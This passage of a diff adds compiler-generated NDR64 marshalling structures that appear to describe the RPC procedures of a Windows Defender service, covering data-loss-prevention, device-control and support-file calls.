/* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag2054_t __midl_frag2054 = +{ +/* **wchar_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2266 +}; + +static const __midl_frag2049_t __midl_frag2049 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */ /* Offset */ + } +}; + +static const __midl_frag2048_t __midl_frag2048 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2049 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag2047_t __midl_frag2047 = +{ +/* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2048 +}; + +static const __midl_frag2046_t __midl_frag2046 = +{ +/* **char */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2047 +}; + +static const __midl_frag2039_t __midl_frag2039 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ /* Offset */ + } +}; + +static const __midl_frag2038_t __midl_frag2038 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2039 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag2037_t __midl_frag2037 = +{ +/* *char */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2038 +}; + +static const __midl_frag2035_t __midl_frag2035 = +{ +/* Proc208_ServerMpRpcDlpCheckAccessForBuffer */ + { + /* Proc208_ServerMpRpcDlpCheckAccessForBuffer */ /* procedure Proc208_ServerMpRpcDlpCheckAccessForBuffer */ + (NDR64_UINT32) 23986240 /* 0x16e0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 88 /* 0x58 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 10 /* 0xa */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2038, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2266, + { + /* arg_4 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2368, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2046, + { + /* arg_6 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag2054, + { + /* arg_7 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + }, + { + /* arg_8 */ /* parameter arg_8 */ + &__midl_frag2054, + { + /* arg_8 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 64 /* 0x40 */, /* Stack offset */ + }, + { + /* arg_9 */ /* parameter arg_9 */ + &__midl_frag2367, + { + /* arg_9 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 72 /* 0x48 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 80 /* 0x50 */, /* Stack offset */ + } +}; + +static const __midl_frag2017_t __midl_frag2017 = +{ +/* Proc207_ServerMpRpcDlpGetEvidenceFileUrl */ + { + /* Proc207_ServerMpRpcDlpGetEvidenceFileUrl */ /* procedure Proc207_ServerMpRpcDlpGetEvidenceFileUrl */ + (NDR64_UINT32) 17694784 /* 0x10e0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 80 /* 0x50 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 9 /* 0x9 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2364, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2266, + { + /* arg_4 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2266, + { + /* arg_5 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2054, + { + /* arg_6 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag2054, + { + /* arg_7 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + }, + { + /* arg_8 */ /* parameter arg_8 */ + &__midl_frag2367, + { + /* arg_8 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 64 /* 0x40 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 72 /* 0x48 */, /* Stack offset */ + } +}; + +static const __midl_frag2008_t __midl_frag2008 = +{ +/* Proc206_ServerMpRpcDeviceControlValidateDataDuplicationRemoteLocationConfiguration */ + { + /* Proc206_ServerMpRpcDeviceControlValidateDataDuplicationRemoteLocationConfiguration */ /* procedure Proc206_ServerMpRpcDeviceControlValidateDataDuplicationRemoteLocationConfiguration */ + (NDR64_UINT32) 17694784 /* 0x10e0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2054, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1983_t __midl_frag1983 = +{ +/* Proc202_ServerMpGetNpSupportFile */ + { + /* Proc202_ServerMpGetNpSupportFile */ /* procedure Proc202_ServerMpGetNpSupportFile */ + (NDR64_UINT32) 17432640 /* 0x10a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2054, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1976_t __midl_frag1976 = +{ +/* Proc201_ServerMpRpcApplyTrustLabelAceForMDE */ + { + /* Proc201_ServerMpRpcApplyTrustLabelAceForMDE */ /* procedure Proc201_ServerMpRpcApplyTrustLabelAceForMDE */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1971_t __midl_frag1971 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ /* Offset */ + } +}; + +static const __midl_frag1970_t __midl_frag1970 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag1971 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag1969_t __midl_frag1969 = +{ +/* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1970 +}; + +static const __midl_frag1965_t __midl_frag1965 = +{ +/* Proc200_ServerMpRpcDeviceControlAuthenticateNetworkShare */ + { + /* Proc200_ServerMpRpcDeviceControlAuthenticateNetworkShare */ /* procedure Proc200_ServerMpRpcDeviceControlAuthenticateNetworkShare */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1969, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1955_t __midl_frag1955 = +{ +/* Proc199_ServerMpRpcDefenderPrintDataProvide */ + { + /* Proc199_ServerMpRpcDefenderPrintDataProvide */ /* procedure Proc199_ServerMpRpcDefenderPrintDataProvide */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2164, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1969, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, 